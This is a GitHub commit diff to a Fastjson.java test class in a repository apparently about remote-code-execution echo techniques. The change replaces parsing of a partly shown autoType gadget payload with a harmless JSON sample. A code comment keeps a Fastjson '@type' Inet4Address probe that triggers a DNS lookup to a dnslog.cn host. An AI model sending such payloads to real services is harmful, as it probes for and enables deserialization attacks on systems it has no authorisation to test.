Skip to content

Commit 78f207f

Browse files
committed
Fastjson
1 parent 48a725f commit 78f207f

File tree

1 file changed

+17
-1
lines changed
  • Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller

1 file changed

+17
-1
lines changed

Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/Fastjson.java

Lines changed: 17 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -49,7 +49,23 @@ public static void main(String[] args) {
4949
" \"autoCommit\":\"true\"\n" +
5050
" }\n" +
5151
"}";
52-
JSON.parse(json1);
52+
String json2 = "{\n" +
53+
" \"array\": [\n" +
54+
" 1,\n" +
55+
" 2,\n" +
56+
" 3\n" +
57+
" ],\n" +
58+
" \"type\": true,\n" +
59+
" \"null\": null,\n" +
60+
" \"number\": 123,\n" +
61+
" \"object\": {\n" +
62+
" \"a\": \"b\",\n" +
63+
" \"c\": \"d\"\n" +
64+
" },\n" +
65+
" \"string\": \"welcome to json\"\n" +
66+
"}";
67+
Object ob = JSON.parse(json2);
68+
System.out.println(ob.getClass().getName());
5369
}
5470

5571
// {"@type":"java.net.Inet4Address","val":"cr8s2f.dnslog.cn"}

0 commit comments

Comments
 (0)